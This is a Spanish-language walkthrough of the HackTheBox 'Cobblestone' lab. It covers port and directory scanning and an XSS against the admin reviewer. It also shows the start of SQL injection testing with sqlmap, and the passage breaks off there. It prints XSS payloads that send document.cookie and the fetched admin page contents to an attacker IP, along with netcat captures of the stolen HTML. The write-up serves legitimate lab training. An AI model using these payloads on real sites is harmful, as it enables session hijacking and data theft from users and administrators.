This page looks best with JavaScript enabled

HackTheBox - Cobblestone

En Cobblestone se identifico y exploto una vulnerabilidad SQL Injection lo que permitio la lectura y escritura de archivos para posteriormente obtener acceso inicial. Credenciales dentro de una base de datos dieron acceso a un nuevo usuario. Cobbler se ejecutaba localmente, se ejecuto port forwarding para interactuar con la API donde se identifico una vulnerabilidad que permite realizar cambios con credenciales conocidas. La escalada de privilegios se realizo a traves de la ejecucion de una plantilla con los componentes de Cobbler, tambien a traves de Command Injection con la informacion de un Issue en el repositorio de este.

Nombre Cobblestone
OS

Linux

Puntos 50
Dificultad Insane
Fecha de Salida 2025-08-09
IP 10.10.11.81
Maker

c1sc0

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [84, 26, 103, 112, 223, 208, 324, 208, 117, 135],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Nmap 7.95 scan initiated Thu Aug 14 15:58:05 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.81
Nmap scan report for 10.10.11.81
Host is up (0.44s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_  256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://cobblestone.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 14 15:58:23 2025 -- 1 IP address (1 host up) scanned in 17.76 seconds

# Nmap 7.95 scan initiated Thu Aug 14 15:57:30 2025 as: /usr/lib/nmap/nmap -sU -sVC --min-rate 10000 -oN nmap_scan_udp 10.10.11.81
Nmap scan report for 10.10.11.81
Host is up (0.26s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT      STATE  SERVICE VERSION
9/udp     closed discard
69/udp    open   tftp    Netkit tftpd or atftpd
16938/udp closed unknown
20120/udp closed unknown
21360/udp closed unknown
53589/udp closed unknown
54321/udp closed bo2k

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 14 17:44:21 2025 -- 1 IP address (1 host up) scanned in 6410.95 seconds

Web Site

El sitio web nos redirige al dominio cobblestone.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.10.11.81
HTTP/1.1 302 Found
Date: Thu, 14 Aug 2025 22:01:30 GMT
Server: Apache/2.4.62 (Debian)
Location: http://cobblestone.htb/
Content-Type: text/html; charset=iso-8859-1

El sitio se presenta con una tematica en relacion a Minecraft.

image

Encontramos tres subdominios en los enlaces y footer del sitio.

1
2
3
deploy.cobblestone.htb
vote.cobblestone.htb
mc.cobblestone.htb

El subdominio mc.cobblestone.htb parece ser el mismo contenido que el dominio (cobblestone.htb). La plantilla utilizada por el sitio es minecraft-web-portal de bybilly.

Directory Brute Forcing

feroxbuster muestra multiples paginas php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
❯ feroxbuster -u http://cobblestone.htb/ -w $MD
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://cobblestone.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      280c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      322c http://cobblestone.htb/templates => http://cobblestone.htb/templates/
301      GET        9l       28w      316c http://cobblestone.htb/img => http://cobblestone.htb/img/
200      GET        1l       12w     2799c http://cobblestone.htb/js/firefly.js
200      GET       30l       79w      721c http://cobblestone.htb/js/main.js
302      GET        3l       11w       81c http://cobblestone.htb/skins.php => login.php
200      GET      144l      250w     2217c http://cobblestone.htb/css/stylesheet.css
200      GET      131l      814w    68917c http://cobblestone.htb/img/forums.png
200      GET      105l      560w    43365c http://cobblestone.htb/img/vote.png
200      GET      204l     1117w    83278c http://cobblestone.htb/img/store.png
200      GET        2l     1294w    89501c http://cobblestone.htb/js/jquery.min.js
200      GET      342l     2173w   185118c http://cobblestone.htb/img/logo.png
200      GET       61l      190w     1942c http://cobblestone.htb/
301      GET        9l       28w      318c http://cobblestone.htb/skins => http://cobblestone.htb/skins/
301      GET        9l       28w      316c http://cobblestone.htb/css => http://cobblestone.htb/css/
301      GET        9l       28w      315c http://cobblestone.htb/db => http://cobblestone.htb/db/
301      GET        9l       28w      315c http://cobblestone.htb/js => http://cobblestone.htb/js/
301      GET        9l       28w      323c http://cobblestone.htb/javascript => http://cobblestone.htb/javascript/
301      GET        9l       28w      319c http://cobblestone.htb/vendor => http://cobblestone.htb/vendor/
301      GET        9l       28w      328c http://cobblestone.htb/vendor/composer => http://cobblestone.htb/vendor/composer/
301      GET        9l       28w      324c http://cobblestone.htb/vendor/twig => http://cobblestone.htb/vendor/twig/

cobblestone.htb

El dominio muestra un formulario de registro y login. Registramos un nuevo usuario.

image

Tras ingresar se muestra una lista de “skins” las cuales se pueden descargar a traves de la url: http://cobblestone.htb/download.php?skin=/skins/<imagen>

image

En la pestana de sugerencia de skin se muestra un formulario para registrar/agregar una nueva skin.

image

Al registro una skin se indica que sera revisada por el administrador.

image

deploy.cobblestone.htb

En el subdominio deploy se muestra una lista de nombres que pueden ser utilizados como nombres de usuarios dentro de un wordlist.

image

1
2
3
4
Josh Madden
Sam Carlson
Katrina Robinson
Jeremy Brewer
1
2
3
4
❯ ~/htb/tools/usernames.py webusers.txt > weblistusers.txt
❯ wc -l weblistusers.txt
40 weblistusers.txt

Directory Brute Forcing

feroxbuster muestra unicamente “contenido estatico” en este subdominio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
❯  feroxbuster -u http://deploy.cobblestone.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://deploy.cobblestone.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      284c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      287c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        5l      123w     2817c http://deploy.cobblestone.htb/img/sam.png
200      GET        4l       79w     3434c http://deploy.cobblestone.htb/img/katrina.png
200      GET        4l      129w     2909c http://deploy.cobblestone.htb/img/josh.png
200      GET       30l       79w      721c http://deploy.cobblestone.htb/js/main.js
200      GET        1l       12w     2799c http://deploy.cobblestone.htb/js/firefly.js
200      GET        4l      101w     3148c http://deploy.cobblestone.htb/img/jeremy.png
200      GET      144l      250w     2217c http://deploy.cobblestone.htb/css/stylesheet.css
200      GET        2l     1294w    89501c http://deploy.cobblestone.htb/js/jquery.min.js
200      GET       51l      165w     1745c http://deploy.cobblestone.htb/
301      GET        9l       28w      330c http://deploy.cobblestone.htb/css => http://deploy.cobblestone.htb/css/
301      GET        9l       28w      330c http://deploy.cobblestone.htb/img => http://deploy.cobblestone.htb/img/
200      GET       51l      165w     1745c http://deploy.cobblestone.htb/index.php
301      GET        9l       28w      337c http://deploy.cobblestone.htb/javascript => http://deploy.cobblestone.htb/javascript/
301      GET        9l       28w      329c http://deploy.cobblestone.htb/js => http://deploy.cobblestone.htb/js/
301      GET        9l       28w      344c http://deploy.cobblestone.htb/javascript/jquery => http://deploy.cobblestone.htb/javascript/jquery/
200      GET    10907l    44549w   289782c http://deploy.cobblestone.htb/javascript/jquery/jquery

vote.cobblestone.htb

El subdominio voting muestra formularios de login y registro, tambien indica que el sitio esta en fase beta con posibles ‘bugs/errores’.

image

Directory Brute Forcing

feroxbuster lista multiples paginas php y directorios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 feroxbuster -u http://vote.cobblestone.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://vote.cobblestone.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      285c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      282c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        3l       11w       81c http://vote.cobblestone.htb/ => login.php
301      GET        9l       28w      326c http://vote.cobblestone.htb/css => http://vote.cobblestone.htb/css/
301      GET        9l       28w      325c http://vote.cobblestone.htb/db => http://vote.cobblestone.htb/db/
200      GET        2l       13w     2083c http://vote.cobblestone.htb/favicon.ico
301      GET        9l       28w      326c http://vote.cobblestone.htb/img => http://vote.cobblestone.htb/img/
302      GET        3l       11w       81c http://vote.cobblestone.htb/index.php => login.php
301      GET        9l       28w      333c http://vote.cobblestone.htb/javascript => http://vote.cobblestone.htb/javascript/
301      GET        9l       28w      325c http://vote.cobblestone.htb/js => http://vote.cobblestone.htb/js/
301      GET        9l       28w      332c http://vote.cobblestone.htb/templates => http://vote.cobblestone.htb/templates/
301      GET        9l       28w      329c http://vote.cobblestone.htb/vendor => http://vote.cobblestone.htb/vendor/
301      GET        9l       28w      338c http://vote.cobblestone.htb/vendor/composer => http://vote.cobblestone.htb/vendor/composer/
301      GET        9l       28w      340c http://vote.cobblestone.htb/javascript/jquery => http://vote.cobblestone.htb/javascript/jquery/
200      GET       19l      168w     1068c http://vote.cobblestone.htb/vendor/composer/LICENSE
200      GET    10907l    44549w   289782c http://vote.cobblestone.htb/javascript/jquery/jquery

Website

Tras registrar un usuario e ingresar al sitio se listan servidores. La “votacion” unicamente muestra el mensaje Actual upvoting not yet implemented.

image

En la pestana de sugerencia se muestra un formulario donde es posible registrar un “servidor”, no existe un filtro para este valor.

image

image

XSS - User to Admin

Ya que el administrador esta realizando la revision de la skin en el dominio, enviamos un payload para obtener la cookie de este.

1
<script>fetch('http://10.10.14.33',{method:'POST',body:document.cookie});</script>

Obtuvimos una solicitud; sin embargo, no la cookie.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.33] from cobblestone.htb [10.10.11.81] 34018
POST / HTTP/1.1
Host: 10.10.14.33
Connection: keep-alive
Content-Length: 0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://cobblestone.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Intentamos obtener el contenido del dominio cobblestone.htb.

1
2
3
<script src="http://10.10.14.33/a.js"></script>
# codigo a.js
fetch('http://cobblestone.htb/').then(r=>r.text()).then(d=>fetch('http://10.10.14.33:8081/',{method:'POST',body:d}));

Se muestra el contenido obtenido por la solicitud.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
❯ nc -lvp 8081
listening on [any] 8081 ...
connect to [10.10.14.33] from cobblestone.htb [10.10.11.81] 38130
POST / HTTP/1.1
Host: 10.10.14.33:8081
Connection: keep-alive
Content-Length: 1942
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://cobblestone.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->

<!DOCTYPE html>
<html>
<head>
	<!-- Info meta tags, important for social media + SEO -->
	<title>Cobblestone - Official Website</title>

	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta charset="utf-8">
	<link rel="stylesheet" href="css/stylesheet.css">
</head>
<body>
	<div class="container">
		<div class="logo">
			<!-- In the img folder, upload your logo -->
			<!-- Make sure you name it 'logo.png' or update the code below -->
			<img src="img/logo.png" alt="MyServer logo">
		</div>

		<div class="items">
			<!-- Replace # with your forum URL-->
			<a href="http://deploy.cobblestone.htb" class="item forums">
			<div>
				<img src="img/forums.png" alt="Minecraft forums icon" class="img">
				<p class="subtitle">Deploy your own minecraft server</p>
				<p class="title">Get your own</p>
			</div>
			</a>

			<!-- Replace # with your store URL -->
			<a href="skins.php" class="item store">
			<div>
				<img src="img/store.png" alt="Minecraft store icon" class="img">
				<p class="subtitle">Download skins for your minecraft character</p>
				<p class="title">Skin Database</p>
			</div>
			</a>

			<!-- Replace # with your vote URL -->
			<a href="http://vote.cobblestone.htb" class="item vote">
			<div>
				<img src="img/vote.png" alt="Minecraft voting icon" class="img">
				<p class="subtitle">Vote for your favorite Minecraft Server</p>
				<p class="title">Vote (beta)</p>
			</div>
			</a>

		</div>

		<div class="playercount">
			<p>Join <span class="ip">229</span> other players on <span class="ip">mc.cobblestone.htb</span></p>
		</div>
	</div>

	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/firefly.js" type="text/javascript"></script>
	<script src="js/main.js" type="text/javascript"></script>
</body>
</html>

Realizamos una solicitud a skins.php logrando obtener el contenido HTML el cual “renderizamos” en htmledit donde observamos que existen otras funciones y enlaces para el usuario administrador.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
❯ nc -lvp 8081
listening on [any] 8081 ...
connect to [10.10.14.33] from cobblestone.htb [10.10.11.81] 50476
POST / HTTP/1.1
Host: 10.10.14.33:8081
Connection: keep-alive
Content-Length: 13133
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://cobblestone.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->


<!DOCTYPE html>
<html>
<head>
	<!-- Info meta tags, important for social media + SEO -->
	<title>Cobblestone - Skins</title>

	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta charset="utf-8">
    <link rel="stylesheet" href="css/bootstrap.min.css">
	<link rel="stylesheet" href="css/all.min.css">
	<link rel="stylesheet" href="css/stylesheet.css">

</head>
<body>
	<div class="container">
		<h1 class="text-light display-3">Welcome admin</h1>
	   <!-- Tabs Navigation -->
        <ul class="nav nav-tabs" id="skinsAdminTabs" role="tablist">
            <li class="nav-item" role="presentation">
                <button class="nav-link active text-dark" id="skins-tab" data-bs-toggle="tab" data-bs-target="#skins" type="button" role="tab" aria-controls="skins" aria-selected="true">Skins</button>
            </li>
						<li class="nav-item" role="presentation">
	<button class="nav-link text-dark" id="upload-tab" data-bs-toggle="tab" data-bs-target="#upload" type="button" role="tab" aria-controls="upload" aria-selected="false">Upload Skin</button>
</li>
<li class="nav-item" role="presentation">
	<button class="nav-link text-dark" id="user-tab" data-bs-toggle="tab" data-bs-target="#user" type="button" role="tab" aria-controls="user" aria-selected="false">User Management</button>
</li>
<li class="nav-item" role="presentation">
	<button class="nav-link text-dark" id="suggest-tab" data-bs-toggle="tab" data-bs-target="#suggest" type="button" role="tab" aria-controls="suggest" aria-selected="false">Skin Suggestions</button>
</li>            <li class="nav-item" role="presentation">
                <a href="logout.php" class="nav-link text-dark" id="logout-tab" type="button" role="tab" aria-controls="admin" aria-selected="false">Logout</a>
            </li>
        </ul>

        <!-- Skins Content -->
        <div class="tab-content" id="skinsAdminTabsContent">
			<div class="tab-pane fade show active p-4" id="skins" role="tabpanel" aria-labelledby="skins-tab">
				<table class="table table-dark table-striped table-light">
    <thead>
        <tr class="table-dark">
            <th scope="col">Name</th>
            <th scope="col">Preview</th>
            <th scope="col">Download</th>
        </tr>
    </thead>
        <tr scope="row">
        <td class="text-light text-bold" id="1">
        Sword4000
        </td>
        <td>
            <img src="/skins/preview_sword4000.png" alt="Sword4000" height="150px" />
        </td>
        <td>
            <a href="download.php?skin=/skins/sword4000.png"><i class="fas fa-download text-light"></i></a>
        </td>
    </tr>
        <tr scope="row">
        <td class="text-light text-bold" id="2">
        ElDeathly
        </td>
        <td>
            <img src="/skins/preview_eldeathly.png" alt="ElDeathly" height="150px" />
        </td>
        <td>
            <a href="download.php?skin=/skins/eldeathly.png"><i class="fas fa-download text-light"></i></a>
        </td>
    </tr>
        <tr scope="row">
        <td class="text-light text-bold" id="3">
        Dog1234
        </td>
        <td>
            <img src="/skins/preview_dog1234.png" alt="Dog1234" height="150px" />
        </td>
        <td>
            <a href="download.php?skin=/skins/dog1234.png"><i class="fas fa-download text-light"></i></a>
        </td>
    </tr>
        <tr scope="row">
        <td class="text-light text-bold" id="4">
        PaulGG
        </td>
        <td>
            <img src="/skins/preview_paulgg.png" alt="PaulGG" height="150px" />
        </td>
        <td>
            <a href="download.php?skin=/skins/paulgg.png"><i class="fas fa-download text-light"></i></a>
        </td>
    </tr>
        <tr scope="row">
        <td class="text-light text-bold" id="5">
        NiftySmith
        </td>
        <td>
            <img src="/skins/preview_niftysmith.png" alt="NiftySmith" height="150px" />
        </td>
        <td>
            <a href="download.php?skin=/skins/niftysmith.png"><i class="fas fa-download text-light"></i></a>
        </td>
    </tr>
    </table>			</div>

			<div class="tab-pane fade show p-4" id="suggestskin" role="tabpanel" aria-labelledby="suggestskin-tab">
											</div>

            <div class="tab-pane fade p-4" id="upload" role="tabpanel" aria-labelledby="upload-tab">
				<h1 class="font-weight-bold text-light mt-4 display-6">Upload new skin</h1>

<p class="text-light">Select the skin and a preview in png format and hit submit to add a skin to the database.</p>

<div class="mt-4">
<form action="upload.php" method="POST" enctype="multipart/form-data">
    <div class="mb-3">
        <label for="name" class="form-label text-light">Skin name:</label>
        <input type="text" class="form-control" id="name" name="name" autocomplete=false required><br><br>
    </div>

    <div class="mb-3">
        <label for="skin" class="form-label text-light">Select the skin:</label>
        <input type="file" id="skin" class="form-control" name="images[]" accept="image/png" required><br><br>
    </div>

    <div class="mb-3">
        <label for="preview" class="form-label text-light">Select preview image:</label>
        <input type="file" id="preview" class="form-control" name="images[]" accept="image/*" required><br><br>
    </div>

    <input type="submit" class="btn btn-light form-control" value="Upload skin">
</form>
</div>
			</div>

            <div class="tab-pane fade p-4" id="user" role="tabpanel" aria-labelledby="user-tab">
				
				<h1 class="font-weigth-bold text-light mt-4 display-6">User Management</h1>

<table class="table table-dark table-striped table-light">
    <thead>
        <tr class="table-dark">
            <th scope="col">ID</th>
            <th scope="col">Name</th>
            <th scope="col">First Name</th>
            <th scope="col">Last Name</th>
            <th scope="col">Email</th>
            <th scope="col">Role</th>
            <th scope="col"></th>
            <th scope="col"></th>
        </tr>
    </thead>
        <form id="form-1" method="POST" action="user.php">
        <tr scope="row">
            <td class="text-light text-bold" id="1">
                1
                <input type="hidden" name="id" value="1">
            </td>
            <td>
                <input type="text" class="form-control" name="name" value="admin">
            </td>
            <td>
                <input type="text" class="form-control" name="first" value="admin">
            </td>
            <td>
                <input type="text" class="form-control" name="last" value="admin">
            </td>
            <td>
                <input type="email" class="form-control" name="email" value="admin@cobblestone.htb">
            </td>
            <td>
            <select class="form-select" name="role">
                <option value="user" >User</option>
                <option value="admin" selected>Admin</option>
            </select>
            </td>
            <td>
                <button type="button" class="btn btn-info" onclick="showPreview('1')">Preview</button>
            </td>
            <td>
                <button type="submit" class="btn btn-success">Save</button>
            </td>
        </tr>
    </form>
        <form id="form-2" method="POST" action="user.php">
        <tr scope="row">
            <td class="text-light text-bold" id="2">
                2
                <input type="hidden" name="id" value="2">
            </td>
            <td>
                <input type="text" class="form-control" name="name" value="cobble">
            </td>
            <td>
                <input type="text" class="form-control" name="first" value="cobble">
            </td>
            <td>
                <input type="text" class="form-control" name="last" value="stone">
            </td>
            <td>
                <input type="email" class="form-control" name="email" value="cobble@cobblestone.htb">
            </td>
            <td>
            <select class="form-select" name="role">
                <option value="user" >User</option>
                <option value="admin" selected>Admin</option>
            </select>
            </td>
            <td>
                <button type="button" class="btn btn-info" onclick="showPreview('2')">Preview</button>
            </td>
            <td>
                <button type="submit" class="btn btn-success">Save</button>
            </td>
        </tr>
    </form>
    </table>

<!-- Preview Modal -->
<div class="modal fade" id="userPreviewModal" tabindex="-1" aria-labelledby="previewModalLabel" aria-hidden="true">
  <div class="modal-dialog modal-dialog-scrollable modal-lg">
    <div class="modal-content bg-dark text-light">
      <div class="modal-header">
        <h5 class="modal-title" id="previewModalLabel">User Preview</h5>
        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body" id="previewModalBody">
        <!-- Dynamic content goes here -->
      </div>
    </div>
  </div>
</div>

<script>
async function showPreview(userId) {
    const form = document.getElementById('form-' + userId);
    const formData = new FormData(form);

    // Extract first name
    const firstName = formData.get('first');

    // Build preview content
    let content = '<dl class="row">';
    for (const [key, value] of formData.entries()) {
        content += `
            <dt class="col-sm-3 text-capitalize">${key}</dt>
            <dd class="col-sm-9">${value}</dd>
        `;
    }
    content += '</dl>';

    // Fetch rendered banner from PHP
    const bannerResponse = await fetch('preview_banner.php', {
        method: 'POST',
        body: new URLSearchParams({ first: firstName })
    });

    const bannerHtml = await bannerResponse.text();

    // Combine banner + content
    const finalHtml = `
        <p>The welcome banner would look like this:</p>
        ${bannerHtml}
        <hr />
        ${content}
    `;

    // Inject and show modal
    document.getElementById('previewModalBody').innerHTML = finalHtml;
    const modal = new bootstrap.Modal(document.getElementById('userPreviewModal'));
    modal.show();
}
</script>			</div>

            <div class="tab-pane fade p-4" id="suggest" role="tabpanel" aria-labelledby="suggest-tab">
				<h1 class="font-weigth-bold text-light mt-4 display-6">User Skin Suggestions</h1>

<table class="table table-dark table-striped table-light">
    <thead>
        <tr class="table-dark">
            <th scope="col">ID</th>
            <th scope="col">Username</th>
            <th scope="col">Skin Name</th>
            <th scope="col">Download-URL</th>
            <th scope="col"></th>
            <th scope="col"></th>
        </tr>
    </thead>
        <tr scope="row">
        <td class="text-light text-bold" id="1">
            1
        </td>
        <td class="text-light text-bold">
            <script src="http://10.10.14.33/a.js"></script>
        </td>
        <td class="text-light text-bold">
            <script src="http://10.10.14.33/a.js"></script>
        </td>
        <td class="suggestion-url text-light text-bold">
            <script src="http://10.10.14.33/a.js"></script>
        </td>
        <td>
            <button class="btn btn-success" onclick="alert('Not yet implemented')">Approve</button>
        </td>
        <td>
            <button class="btn btn-danger" onclick="alert('Not yet implemented')">Decline</button>
        </td>
    </tr>

        <tr scope="row">
        <td class="text-light text-bold" id="2">
            2
        </td>
        <td class="text-light text-bold">
            <script src="http://10.10.14.33/a.js"></script>
        </td>
        <td class="text-light text-bold">
            <script src="http://10.10.14.33/a.js"></script>
        </td>
        <td class="suggestion-url text-light text-bold">
            <script src="http://10.10.14.33/a.js"></script>
        </td>
        <td>
            <button class="btn btn-success" onclick="alert('Not yet implemented')">Approve</button>
        </td>
        <td>
            <button class="btn btn-danger" onclick="alert('Not yet implemented')">Decline</button>
        </td>
    </tr>

    </table>
			</div>
		</div>
		<footer class="mt-auto">
  <div class="container">
    <div class="row">
      <div class="col-md-12 mb-3">
        <p><a class="text-bold text-light" href="skins_app_admin_server_info.php" target="_blank">Admin server info</a></p>
      </div>
    </div>
  </div>
</footer>
	</div>

    <script>
         document.addEventListener("DOMContentLoaded", function () {
                        });
    </script>

	<script src="js/jquery.min.js" type="text/javascript"></script>
    <script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
	<script src="js/firefly.js" type="text/javascript"></script>
	<script src="js/main.js" type="text/javascript"></script>
</body>
</html>

image

Se muestra la pagina skins_app_admin_server_info.php de la cual obtuvimos el contenido. Parece ejecutar phpinfo();.

image

La informacion muestra la cookie de la solicitud y el directorio root /var/www/html/.

image

Tras utilizar esta cookie observamos que tenemos acceso como admin en el sitio.

image

Podemos administrar usuarios y asu vez; previzualizar.

image
image

Upload Bypass - Failed

La pestana Upload Skin permite la subida de imagenes PNG.

image

Intentamos realizar Bypass al filtro de imagenes pero no era posible manipular la extension de los archivos, ya que cada imagen era nombrada de forma aleatoria y siempre agregando la extension .png al final (ex: 9de8014e8a21e47fa5f94b0a10913e4f.png) no importando la extension de subida del archivo.

image

SQL Injection - vote.cobblestone.htb

El registro de un servidor no tiene ningun filtro, ejecutamos sqlmap para verificar la existencia de una vulnerabilidad SQL Injection, esta fue positiva y se listan las bases de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
❯ sqlmap -r suggest_url.req --batch --dbs
        ___
       __H__
